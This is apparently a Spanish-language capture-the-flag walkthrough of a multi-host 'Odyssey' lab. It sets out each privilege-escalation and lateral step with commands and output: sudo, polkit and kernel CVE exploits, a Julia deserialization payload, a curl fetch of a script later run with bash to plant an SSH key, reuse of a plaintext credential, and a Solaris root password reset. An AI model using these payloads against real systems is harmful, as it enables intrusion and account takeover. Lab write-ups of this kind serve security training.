uid=112(asterisk) gid=117(asterisk) groups=117(asterisk)  
asterisk@odyssey:~$ hostname -I
192.168.21.12 172.17.0.1 10.1.148.128 
asterisk@odyssey:~$ cat /opt/flag.txt 
ODYSSEY{THE_tElEPH0Ne_4_New_M4cHINe}
asterisk@odyssey:~$


Can you see a singularity?

ODYSSEY{W3_4LL_4r3_p4r7_Of_4_cluS73R}


Mirando la version de sudo encontramos la 1.38.1, la cual es un poco antigua

asterisk@odyssey:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31  
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
asterisk@odyssey:~$

Buscando exploits encontramos el CVE-2021-3156 que se aprovecha de esto, simplemente copiamos el exploit y al ejecutarlo ganamos una shell como root

asterisk@odyssey:~$ python3 exploit_nss.py  
# whoami
root
# hostname -I	
192.168.21.12 172.17.0.1 10.1.148.128 
# cat /root/flag.txt
ODYSSEY{W3_4LL_4r3_p4r7_Of_4_cluS73R}
#


Zero Entropy

ODYSSEY{JUL14_d353R14L124710n}


En el directorio /opt encontramos otro .git llamado apikey_beta de los repositorios de gogs que pertenece a elpenor, lo copiaremos a un directorio dentro de /tmp

root@odyssey:/opt/git/gogs-repositories/elpenor# ls -l
drwxr-xr-x 7 asterisk root 4096 Mar 25  2021 apikey_beta.git
drwxr-xr-x 7 asterisk root 4096 Feb 28  2021 rocketchat_bot.git  
root@odyssey:/opt/git/gogs-repositories/elpenor# mkdir /tmp/otros
root@odyssey:/opt/git/gogs-repositories/elpenor# cp -r apikey_beta.git /tmp/otros/.git  
root@odyssey:/opt/git/gogs-repositories/elpenor#

Si intentamos ver el estado nos pide que lo hagamos en una rama, despues de eliminar la configuracion de bare podemos ejecutarlo de nuevo y ver el estado

root@odyssey:/tmp/otros# git status
fatal: this operation must be run in a work tree  
root@odyssey:/tmp/otros# git config --unset core.bare  
root@odyssey:/tmp/otros# git status
On branch master
Changes to be committed:
  (use "git restore --staged ..." to unstage)
	deleted:    README.md
	deleted:    genie.service
	deleted:    run.ji

root@odyssey:/opt/git/gogs-repositories/elpenor#

Hay 3 archivos borrados, los cuales podemos restaurar usando git reset --hard

root@odyssey:/tmp/otros# git reset --hard
HEAD is now at 0512c32 Update 'README.md'
root@odyssey:/tmp/otros# ls -l
-rw-r--r-- 1 root root 170 Aug 30 04:02 genie.service  
-rw-r--r-- 1 root root 311 Aug 30 04:02 README.md
-rw-r--r-- 1 root root 627 Aug 30 04:02 run.ji
root@odyssey:/tmp/otros#

Iniciemos por el archivo genie.service que simplemente es un servicio que se corre bajo el usuario elpenor y simplemente ejecuta con julia el archivo run.ji

root@odyssey:/tmp/otros# cat genie.service
[Unit]
Description= Julia API
After=network.target

[Service]
Type=simple
User=elpenor
ExecStart=/usr/bin/julia /opt/beta_api/run.ji  

[Install]
WantedBy=multi-user.target
root@odyssey:/tmp/otros#

El archivo run.ji es algo simple, define una web que recibe un parametro f por POST hacia la ruta /key, despues lo decodea de base64 y procede a deserializarlo

root@odyssey:/tmp/otros# cat run.ji  
using Genie
using Genie.Router, Genie.Renderer, Genie.Renderer.Html, Genie.Renderer.Json, Genie.Requests, Base64, Serialization

route("/") do
    return "Key API"
end

route("/key", method = POST) do
    data = postpayload(:f)
    io = IOBuffer()
    iob64_decode = Base64DecodePipe(io)
    write(io, data)
    seekstart(io)
    new_data = String(read(iob64_decode))
    con = isfile("/tmp/f.txt")
    if con == true
        rm("/tmp/f.txt")
    else
        "N"
    end
    open("/tmp/f.txt", "w") do io
        write(io, new_data)
    end;

    Serialization.deserialize("/tmp/f.txt");
end

up(3000, "0.0.0.0", async=false)
root@odyssey:/tmp/otros#

Buscando por vulnerabilidades en julia encontramos un ataque de deserializacion, tomamos el poc y lo usaremos para intentar ejecutar simplemente el comando id

❯ ./julia
               _
   _       _ _(_)_     |  Documentation: https://docs.julialang.org
  (_)     | (_) (_)    |
   _ _   _| |_  __ _   |  Type "?" for help, "]?" for Pkg help.
  | | | | | | |/ _` |  |
  | | |_| | | | (_| |  |  Version 1.1.1 (2019-05-16)
 _/ |\__'_|_|_|\__'_|  |  Official https://julialang.org/ release
|__/                   |

julia> using Serialization

julia> Serialization.deserialize(s::Serializer, t::Type{BigInt})=run(`id`);  

julia> filt=filter(methods(Serialization.deserialize).ms) do m
           String(m.file)[1]=='R' end;

julia> Serialization.serialize("poc.serialized_jl", (filt[1], BigInt(7)));

julia>

Una vez creado se lo enviaremos a la .11 que es la que corre en el puerto 3000 el script que vimos antes, como parametro f le enviaremoa la data en base64 como se muestra en el codigo, como resultado ejecutamos el comando id como elpenor

❯ curl 192.168.21.11:3000/key -d "f=$(base64 -w0 poc.serialized_jl)"  
uid=1000(elpenor) gid=1000(elpenor) groups=1000(elpenor)

En la maquina linux que tenemos compretida creamos un archivo que en caso de ejecutarse guarde nuestra clave publica como autorizada en el directorio ssh, esto como index.html y la compartiremos a traver de un servidor http con python

root@odyssey:~# cat index.html
mkdir /home/elpenor/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOChqNfHuH3wAgahGKW0RarFeScPycw5i9gJsIjvDWWS kali@kali" >> /home/elpenor/.ssh/authorized_keys  
root@odyssey:~# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Ahora creamos un payload con julia que haga una peticion al servidor http y guarde el contenido en el archivo llamado shell en el directorio /tmp y lo enviamos

❯ ./julia
               _
   _       _ _(_)_     |  Documentation: https://docs.julialang.org
  (_)     | (_) (_)    |
   _ _   _| |_  __ _   |  Type "?" for help, "]?" for Pkg help.
  | | | | | | |/ _` |  |
  | | |_| | | | (_| |  |  Version 1.1.1 (2019-05-16)
 _/ |\__'_|_|_|\__'_|  |  Official https://julialang.org/ release
|__/                   |


julia> using Serialization

julia> Serialization.deserialize(s::Serializer, t::Type{BigInt})=run(`curl 192.168.21.12 -o /tmp/shell`);  

julia> filt=filter(methods(Serialization.deserialize).ms) do m
           String(m.file)[1]=='R' end;

julia> Serialization.serialize("poc.serialized_jl", (filt[1], BigInt(7)));

julia>

❯ curl 192.168.21.11:3000/key -d "f=$(base64 -w0 poc.serialized_jl)"  

Al hacerlo recibimos una peticion en el servidor que significa que se descargo

root@odyssey:~# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...  
192.168.21.11 - - "GET / HTTP/1.1" 200 -

Finalmente creamos un payload que ejecute el archivo /tmp/shell con bash, enviamos y cuando se interprete guardara nuestra clave ssh como autorizada

❯ ./julia
               _
   _       _ _(_)_     |  Documentation: https://docs.julialang.org
  (_)     | (_) (_)    |
   _ _   _| |_  __ _   |  Type "?" for help, "]?" for Pkg help.
  | | | | | | |/ _` |  |
  | | |_| | | | (_| |  |  Version 1.1.1 (2019-05-16)
 _/ |\__'_|_|_|\__'_|  |  Official https://julialang.org/ release
|__/                   |

julia> using Serialization

julia> Serialization.deserialize(s::Serializer, t::Type{BigInt})=run(`bash /tmp/shell`);  

julia> filt=filter(methods(Serialization.deserialize).ms) do m
           String(m.file)[1]=='R' end;

julia> Serialization.serialize("poc.serialized_jl", (filt[1], BigInt(7)));

julia>

❯ curl 192.168.21.11:3000/key -d "f=$(base64 -w0 poc.serialized_jl)"  

Ya que se ha interpretado y aprovechando nuestra clave es autorizada podemos conectarnos por ssh como elpenor sin siquiera proporcionar una contraseña

❯ ssh elpenor@192.168.21.11
elpenor@dev01:~$ id
uid=1000(elpenor) gid=1000(elpenor) groups=1000(elpenor)  
elpenor@dev01:~$ hostname -I
192.168.21.11 172.17.0.1 
elpenor@dev01:~$ cat flag.txt 
ODYSSEY{JUL14_d353R14L124710n}
elpenor@dev01:~$


Quantum foam

ODYSSEY{74k3_c4R3_0f_Y0uR_R4nCH}


Mirando la version de linux en la que estamos encomtramos un Ubuntu 20.04 LTS el cual es vulnerable al CVE-2021-3493 que se aprovecha del kernel de linux

elpenor@dev01:~$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 20.04.2 LTS  
Release:	20.04
Codename:	focal
elpenor@dev01:~$

Aprovechando que la maquina tiene gcc compilamos el exploit y lo ejecutamos, al ejecutarlo conseguimos una bash como el usuario root donde leemos la flag

elpenor@dev01:~$ gcc exploit.c -o exploit  
elpenor@dev01:~$ ./exploit 
bash-5.0# whoami
root
bash-5.0# hostname -I
192.168.21.11 172.17.0.1 
bash-5.0# cat /root/flag.txt 
ODYSSEY{74k3_c4R3_0f_Y0uR_R4nCH}
bash-5.0#


Planck Length

ODYSSEY{50LaR15_R8AC_ADM1n15tRAT10n}


En el directorio /root de dev01 encontramos un directorio llamado Solaris, el cual tiene un archivo llamado logins.json que contiene lo que parecen credenciales

root@dev01:~/Solaris# cat login.json   
{
  "username": "elpenor",
  "password": "enRH+/<r5y48@yJ",
  "scheme": "pam",
  "preserve": true,
  "timeout": -1
}
root@dev01:~/Solaris#

Al probar las credenciales hacia el servicio ssh de la maquina .13 que es la ultima maquina que nos queda obtenemos una shell como el usuario elpenor

❯ ssh elpenor@192.168.21.13
(elpenor@192.168.21.13) Password: enRH+/<r5y48@yJ  
elpenor@dev:~$ id
uid=100(elpenor) gid=10(staff)
elpenor@dev:~$

Solaris tiene un comando que es auths el cual muestra las autorizaciones que tiene el usuario, curiosamente nuestro usuario actual tiene solaris.passwd.assign

elpenor@dev:~$ auths
solaris.account.activate,solaris.admin.wusb.read,solaris.mail.mailq,solaris.network.autoconf.read,solaris.passwd.assign  
elpenor@dev:~$

Este privilegio nos permite cambiarle la contraseña a cualquier usuario, como root

elpenor@dev:~$ passwd root
New Password: password123#
Re-enter new Password: password123#
passwd: password successfully changed for root  
elpenor@dev:~$

Despues de cambiarle la contraseña a root solo nos queda ejecutar un su y al proporcionar la contraseña nos convertimos en el, podemos leer la ultima flag

elpenor@dev:~$ su root
Password: password123#
root@dev:~# id
uid=0(root) gid=0(root)
root@dev:~# cat /root/flag.txt 
ODYSSEY{50LaR15_R8AC_ADM1n15tRAT10n}  
root@dev:~#


Extra

CVE-2021-4034 - root odyssey / root dev01


Como alternativa si en la primera maquina buscamos por privilegios suid vemos el ya famoso pkexec, con un exploit del pwnkit nos podemos convertir en root

asterisk@odyssey:~$ find / -perm -u+s 2>/dev/null | grep -v snap  
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/su
/usr/bin/passwd
/usr/bin/mount
/usr/bin/fusermount
/usr/bin/pkexec
/usr/bin/at
asterisk@odyssey:~$ ls -l /usr/bin/pkexec
-rwsr-xr-x 1 root root 31032 Aug 16  2019 /usr/bin/pkexec
asterisk@odyssey:~$ python3 CVE-2021-4034.py 
[+] Creating shared library for exploit code.  
[+] Calling execve()
# whoami
root
# hostname -I
192.168.21.12 172.17.0.1 10.1.148.128 
# cat /root/flag.txt
ODYSSEY{W3_4LL_4r3_p4r7_Of_4_cluS73R}
#

Pasa exactamente lo mismo en la maquina dev01 que tambien tiene el pkexec suid

lpenor@dev01:~$ find / -perm -4000 2>/dev/null
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/at
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/mount
/usr/bin/passwd
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
elpenor@dev01:~$ ls -l /usr/bin/pkexec
-rwsr-xr-x 1 root root 31032 Aug 16  2019 /usr/bin/pkexec  
elpenor@dev01:~$ python3 CVE-2021-4034.py 
[+] Creating shared library for exploit code.  
[+] Calling execve()
# whoami
root
# hostname -I
192.168.21.11 172.17.0.1 
# cat /root/flag.txt
ODYSSEY{74k3_c4R3_0f_Y0uR_R4nCH}
#